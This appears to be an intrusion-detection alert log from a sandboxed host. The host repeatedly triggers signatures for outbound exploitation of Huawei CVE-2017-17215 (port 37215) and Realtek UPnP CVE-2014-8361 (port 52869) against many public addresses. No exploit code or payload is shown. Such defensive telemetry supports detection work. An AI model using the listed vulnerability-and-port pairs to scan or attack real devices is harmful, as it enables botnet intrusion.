07/20/24-23:01:36.794115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54596	37215	192.168.2.13	41.92.22.255
07/20/24-23:01:36.781604	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47934	37215	192.168.2.13	157.140.157.0
07/20/24-23:01:03.925942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37840	52869	192.168.2.13	153.88.175.187
07/20/24-23:01:12.358593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43312	37215	192.168.2.13	213.247.132.243
07/20/24-23:01:12.495795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55294	37215	192.168.2.13	41.97.250.254
07/20/24-23:01:27.354360	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59984	52869	192.168.2.13	101.150.57.159
07/20/24-23:01:27.297470	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44254	37215	192.168.2.13	157.38.204.155
07/20/24-23:01:22.799496	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42424	37215	192.168.2.13	189.69.197.170
07/20/24-23:01:17.786876	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35050	37215	192.168.2.13	197.60.200.134
07/20/24-23:01:05.588823	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42224	52869	192.168.2.13	204.52.130.30
07/20/24-23:01:14.547545	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37078	52869	192.168.2.13	122.26.122.109
07/20/24-23:01:22.737206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32960	37215	192.168.2.13	157.82.152.97
07/20/24-23:01:24.625501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40340	37215	192.168.2.13	157.191.47.210
07/20/24-23:01:12.533731	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38810	37215	192.168.2.13	197.36.25.75
07/20/24-23:01:22.741097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59530	37215	192.168.2.13	157.174.197.147
07/20/24-23:01:36.783608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48296	37215	192.168.2.13	157.77.244.28
07/20/24-23:00:59.021890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49998	37215	192.168.2.13	197.54.41.117
07/20/24-23:01:02.695892	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43962	37215	192.168.2.13	197.250.181.100
07/20/24-23:01:22.795411	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36748	37215	192.168.2.13	157.209.49.4
07/20/24-23:01:27.285139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58208	37215	192.168.2.13	41.207.244.51
07/20/24-23:01:25.460589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38438	37215	192.168.2.13	157.20.195.200
07/20/24-23:01:32.264711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39814	37215	192.168.2.13	192.153.241.221
07/20/24-23:01:22.740155	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42816	37215	192.168.2.13	197.109.81.120
07/20/24-23:01:14.559539	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41960	52869	192.168.2.13	179.27.16.177
07/20/24-23:01:12.543114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47696	37215	192.168.2.13	41.57.160.247
07/20/24-23:01:36.781139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38422	37215	192.168.2.13	197.235.158.52
07/20/24-23:01:14.556765	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35812	52869	192.168.2.13	41.74.147.143
07/20/24-23:01:27.237697	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56156	37215	192.168.2.13	41.199.196.57
07/20/24-23:01:36.808711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42636	37215	192.168.2.13	41.179.100.43
07/20/24-23:01:06.804996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44872	37215	192.168.2.13	41.90.120.141
07/20/24-23:01:14.546163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52560	52869	192.168.2.13	92.52.112.233
07/20/24-23:01:08.392180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57928	37215	192.168.2.13	147.235.120.255
07/20/24-23:01:15.063531	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57024	37215	192.168.2.13	137.85.81.139
07/20/24-23:01:14.512728	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52674	52869	192.168.2.13	162.120.56.216
07/20/24-23:01:22.754723	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59592	37215	192.168.2.13	41.214.227.104
07/20/24-23:01:07.320609	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43538	52869	192.168.2.13	2.24.106.226
07/20/24-23:01:14.556193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37408	52869	192.168.2.13	85.119.116.161
07/20/24-23:00:59.022237	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59386	37215	192.168.2.13	41.222.221.26
07/20/24-23:01:04.842729	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55190	37215	192.168.2.13	41.71.97.69
07/20/24-23:01:27.360753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35240	52869	192.168.2.13	207.190.228.219
07/20/24-23:01:32.208939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36340	37215	192.168.2.13	157.33.56.225
07/20/24-23:01:14.521013	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45040	52869	192.168.2.13	8.104.228.104
07/20/24-23:01:14.566160	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57730	52869	192.168.2.13	95.49.112.227
07/20/24-23:01:27.263646	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42522	37215	192.168.2.13	70.115.96.89
07/20/24-23:01:17.782283	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39052	37215	192.168.2.13	189.30.247.87
07/20/24-23:01:03.831831	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59558	52869	192.168.2.13	52.188.85.89
07/20/24-23:01:25.456960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50488	37215	192.168.2.13	41.166.6.127
07/20/24-23:01:04.848636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51304	37215	192.168.2.13	221.227.34.24
07/20/24-23:01:19.351435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57618	52869	192.168.2.13	78.15.229.242
07/20/24-23:01:32.248799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38748	37215	192.168.2.13	197.127.237.138
07/20/24-23:01:22.810316	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47092	37215	192.168.2.13	197.95.249.154
07/20/24-23:01:06.134141	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42424	52869	192.168.2.13	170.23.175.88
07/20/24-23:01:36.781770	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42482	37215	192.168.2.13	197.228.185.137
07/20/24-23:01:25.404749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39796	37215	192.168.2.13	157.255.242.205
07/20/24-23:01:06.808312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40726	37215	192.168.2.13	222.170.225.11
07/20/24-23:01:02.628234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37288	37215	192.168.2.13	197.199.15.206
07/20/24-23:01:04.592707	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60404	52869	192.168.2.13	119.150.77.161
07/20/24-23:01:25.406212	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41648	37215	192.168.2.13	51.159.237.57
07/20/24-23:00:59.021890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44740	37215	192.168.2.13	197.238.40.168
07/20/24-23:01:21.665349	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40638	52869	192.168.2.13	83.133.236.199
07/20/24-23:01:27.352864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33822	52869	192.168.2.13	43.126.159.21
07/20/24-23:01:36.855169	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58676	37215	192.168.2.13	41.253.201.13
07/20/24-23:01:14.500914	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47586	52869	192.168.2.13	202.179.114.114
07/20/24-23:01:06.800702	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57088	37215	192.168.2.13	157.41.81.45
07/20/24-23:01:36.866693	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47212	37215	192.168.2.13	197.91.33.73
07/20/24-23:00:59.021019	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50030	37215	192.168.2.13	157.207.241.220
07/20/24-23:00:59.020982	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52342	37215	192.168.2.13	157.110.69.240
07/20/24-23:01:32.213464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33884	37215	192.168.2.13	197.177.232.220
07/20/24-23:00:59.021675	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60170	37215	192.168.2.13	197.17.13.19
07/20/24-23:01:14.542853	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39616	52869	192.168.2.13	83.201.72.91
07/20/24-23:01:05.941292	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34744	52869	192.168.2.13	72.60.254.31
07/20/24-23:01:25.693881	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52430	37215	192.168.2.13	41.191.38.245
07/20/24-23:01:02.603717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41902	37215	192.168.2.13	197.80.112.192
07/20/24-23:01:14.521865	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41888	52869	192.168.2.13	83.224.119.168
07/20/24-23:01:27.276711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36792	37215	192.168.2.13	157.87.236.58
07/20/24-23:01:06.358322	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44760	52869	192.168.2.13	168.61.125.85
07/20/24-23:01:15.112954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43340	37215	192.168.2.13	41.241.44.60
07/20/24-23:01:04.893876	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32858	37215	192.168.2.13	47.238.173.9
07/20/24-23:01:06.224182	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39234	52869	192.168.2.13	173.204.137.85
07/20/24-23:01:14.500914	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47586	52869	192.168.2.13	202.179.114.114
07/20/24-23:01:22.736771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42444	37215	192.168.2.13	17.84.65.128
07/20/24-23:01:12.360354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55978	37215	192.168.2.13	157.194.160.22
07/20/24-23:01:14.507784	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49260	52869	192.168.2.13	213.249.133.80
07/20/24-23:01:08.391767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52516	37215	192.168.2.13	197.246.48.161
07/20/24-23:01:02.682054	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58952	37215	192.168.2.13	41.170.154.240
07/20/24-23:01:20.292473	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41010	52869	192.168.2.13	97.115.201.63
07/20/24-23:01:27.359675	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50350	52869	192.168.2.13	177.53.116.167
07/20/24-23:00:59.021621	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34700	37215	192.168.2.13	197.209.60.212
07/20/24-23:01:36.799485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43088	37215	192.168.2.13	157.15.196.122
07/20/24-23:01:02.607205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54996	37215	192.168.2.13	197.141.132.83
07/20/24-23:01:15.000887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53250	37215	192.168.2.13	157.87.191.160
07/20/24-23:01:22.753217	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50616	37215	192.168.2.13	98.251.241.242
07/20/24-23:01:19.531622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47006	52869	192.168.2.13	34.213.231.189
07/20/24-23:01:12.502954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58018	37215	192.168.2.13	197.227.66.166
07/20/24-23:01:22.737919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41442	37215	192.168.2.13	197.187.216.229
07/20/24-23:01:05.556569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50004	52869	192.168.2.13	77.222.205.40
07/20/24-23:01:25.390544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56014	37215	192.168.2.13	197.155.97.104
07/20/24-23:01:27.354992	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53932	52869	192.168.2.13	147.253.173.13
07/20/24-23:01:17.730454	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53226	37215	192.168.2.13	41.179.120.224
07/20/24-23:01:04.908544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44576	37215	192.168.2.13	41.108.193.243
07/20/24-23:01:27.352538	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49722	52869	192.168.2.13	161.241.29.146
07/20/24-23:01:27.354360	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58604	52869	192.168.2.13	86.176.163.132
07/20/24-23:01:22.744419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34702	37215	192.168.2.13	157.133.210.227
07/20/24-23:00:59.020086	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38898	37215	192.168.2.13	104.8.73.49
07/20/24-23:01:14.513708	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59664	52869	192.168.2.13	147.164.232.161
07/20/24-23:01:27.237698	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51644	37215	192.168.2.13	189.83.252.74
07/20/24-23:01:14.502469	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39490	52869	192.168.2.13	119.44.232.241
07/20/24-23:01:02.613456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37842	37215	192.168.2.13	41.31.110.255
07/20/24-23:01:14.504881	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54226	52869	192.168.2.13	58.55.6.110
07/20/24-23:01:27.297470	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60152	37215	192.168.2.13	197.171.19.190
07/20/24-23:01:14.502058	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32882	52869	192.168.2.13	170.113.9.186
07/20/24-23:01:07.276989	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35090	52869	192.168.2.13	122.26.122.109
07/20/24-23:00:59.022603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34624	37215	192.168.2.13	41.88.134.99
07/20/24-23:01:04.960066	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59402	52869	192.168.2.13	153.97.31.189
07/20/24-23:01:32.238261	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39276	37215	192.168.2.13	157.75.227.228
07/20/24-23:01:02.685657	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51442	37215	192.168.2.13	41.58.206.220
07/20/24-23:01:06.801543	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48278	37215	192.168.2.13	197.45.247.117
07/20/24-23:01:06.283652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57534	52869	192.168.2.13	177.130.98.196
07/20/24-23:01:14.530241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32888	52869	192.168.2.13	13.145.132.17
07/20/24-23:01:14.547545	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59698	52869	192.168.2.13	180.115.139.253
07/20/24-23:01:08.435254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43218	37215	192.168.2.13	41.152.248.171
07/20/24-23:01:25.390311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46446	37215	192.168.2.13	41.215.111.230
07/20/24-23:01:12.492810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56234	37215	192.168.2.13	41.97.120.250
07/20/24-23:01:32.213464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58488	37215	192.168.2.13	197.219.250.80
07/20/24-23:01:12.504870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37746	37215	192.168.2.13	105.62.143.218
07/20/24-23:01:25.391404	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47812	37215	192.168.2.13	41.227.182.51
07/20/24-23:01:25.389455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55784	37215	192.168.2.13	104.54.0.43
07/20/24-23:01:32.244559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49654	37215	192.168.2.13	125.17.139.79
07/20/24-23:01:04.864677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41484	37215	192.168.2.13	157.180.142.161
07/20/24-23:01:04.848080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35742	37215	192.168.2.13	41.59.223.239
07/20/24-23:01:19.377087	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40146	52869	192.168.2.13	140.192.14.130
07/20/24-23:01:06.801053	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37164	37215	192.168.2.13	157.41.142.136
07/20/24-23:01:14.535851	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60556	52869	192.168.2.13	191.214.228.151
07/20/24-23:01:27.354427	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59532	52869	192.168.2.13	194.111.111.55
07/20/24-23:01:32.260444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45028	37215	192.168.2.13	157.2.226.172
07/20/24-23:01:02.624280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51372	37215	192.168.2.13	47.63.66.179
07/20/24-23:01:15.000888	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49462	37215	192.168.2.13	197.19.173.34
07/20/24-23:01:27.354427	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35888	52869	192.168.2.13	25.216.97.59
07/20/24-23:01:25.397771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44506	37215	192.168.2.13	157.79.176.119
07/20/24-23:01:21.681221	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40686	52869	192.168.2.13	165.167.242.189
07/20/24-23:01:36.781974	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36944	37215	192.168.2.13	157.37.95.226
07/20/24-23:00:59.021580	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60186	37215	192.168.2.13	41.237.188.97
07/20/24-23:01:27.354360	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58604	52869	192.168.2.13	86.176.163.132
07/20/24-23:01:27.306441	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46514	37215	192.168.2.13	157.129.139.199
07/20/24-23:01:32.257456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38010	37215	192.168.2.13	223.103.24.138
07/20/24-23:01:04.846946	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46536	37215	192.168.2.13	197.3.128.173
07/20/24-23:01:06.800492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51244	37215	192.168.2.13	157.244.217.198
07/20/24-23:01:27.277398	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59458	37215	192.168.2.13	100.2.80.95
07/20/24-23:00:59.022895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47914	37215	192.168.2.13	75.142.64.164
07/20/24-23:01:15.110016	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33876	37215	192.168.2.13	157.35.6.165
07/20/24-23:01:06.801747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49450	37215	192.168.2.13	174.36.66.18
07/20/24-23:01:08.407500	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53758	37215	192.168.2.13	197.238.24.191
07/20/24-23:01:12.485954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59464	37215	192.168.2.13	157.103.170.98
07/20/24-23:01:02.601458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43958	37215	192.168.2.13	41.68.213.107
07/20/24-23:01:12.553660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39954	37215	192.168.2.13	157.147.113.171
07/20/24-23:01:15.076248	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49320	37215	192.168.2.13	41.27.62.245
07/20/24-23:01:06.812618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56678	37215	192.168.2.13	197.59.230.146
07/20/24-23:01:17.786876	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59512	37215	192.168.2.13	110.255.94.235
07/20/24-23:01:02.678688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51348	37215	192.168.2.13	157.25.228.57
07/20/24-23:01:14.559132	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45328	52869	192.168.2.13	188.74.101.140
07/20/24-23:01:27.366829	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39100	52869	192.168.2.13	128.42.37.53
07/20/24-23:01:14.546238	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46088	52869	192.168.2.13	157.40.9.209
07/20/24-23:01:02.603717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60632	37215	192.168.2.13	201.248.6.28
07/20/24-23:01:36.785491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44562	37215	192.168.2.13	41.232.34.106
07/20/24-23:01:32.260443	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56664	37215	192.168.2.13	197.77.5.23
07/20/24-23:01:22.748660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59194	37215	192.168.2.13	157.215.137.160
07/20/24-23:01:36.804831	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36562	37215	192.168.2.13	218.218.105.217
07/20/24-23:01:08.391767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39274	37215	192.168.2.13	59.52.78.111
07/20/24-23:01:27.285139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49014	37215	192.168.2.13	157.115.125.161
07/20/24-23:01:25.390486	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55004	37215	192.168.2.13	41.92.146.26
07/20/24-23:01:12.357339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46248	37215	192.168.2.13	157.158.192.126
07/20/24-23:01:32.206638	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55610	37215	192.168.2.13	197.70.190.105
07/20/24-23:01:36.785491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43124	37215	192.168.2.13	41.243.143.47
07/20/24-23:01:13.831634	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47588	37215	192.168.2.13	157.152.48.180
07/20/24-23:01:25.391568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49814	37215	192.168.2.13	157.188.140.143
07/20/24-23:01:06.823879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39870	37215	192.168.2.13	41.183.235.127
